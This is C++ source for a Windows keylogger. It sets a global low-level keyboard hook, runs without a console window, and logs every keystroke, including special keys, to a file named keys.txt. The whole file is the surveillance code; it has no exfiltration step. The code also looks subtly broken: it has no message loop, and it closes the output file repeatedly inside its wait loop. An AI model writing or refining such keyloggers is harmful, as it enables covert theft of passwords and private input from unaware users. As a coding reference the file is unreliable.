#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include <chrono>
#include <thread>
#include <condition_variable>
using namespace std;
std::condition_variable cv;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);

	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
		switch (p->vkCode) {
			// Invisible keys
		case VK_CAPITAL:	out << "<CAPLOCK>";		break;
		case VK_SHIFT:		out << "<SHIFT>";		break;
		case VK_LCONTROL:	out << "<LCTRL>";		break;
		case VK_RCONTROL:	out << "<RCTRL>";		break;
		case VK_INSERT:		out << "<INSERT>";		break;
		case VK_END:		out << "<END>";			break;
		case VK_PRINT:		out << "<PRINT>";		break;
		case VK_DELETE:		out << "<DEL>";			break;
		case VK_BACK:		out << "<BK>";			break;
		case VK_LEFT:		out << "<LEFT>";		break;
		case VK_RIGHT:		out << "<RIGHT>";		break;
		case VK_UP:			out << "<UP>";			break;
		case VK_DOWN:		out << "<DOWN>";		break;
			// Visible keys
		default:
			out << char(tolower(p->vkCode));
		}
	}
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
	// Set windows hook
	std::this_thread::sleep_for(std::chrono::milliseconds(15));

	HHOOK keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,
		keyboardHookProc,
		hInstance,
		0);

	while (GetAsyncKeyState(VK_ESCAPE)==0) {
		out.close();
	}


	return 0;
}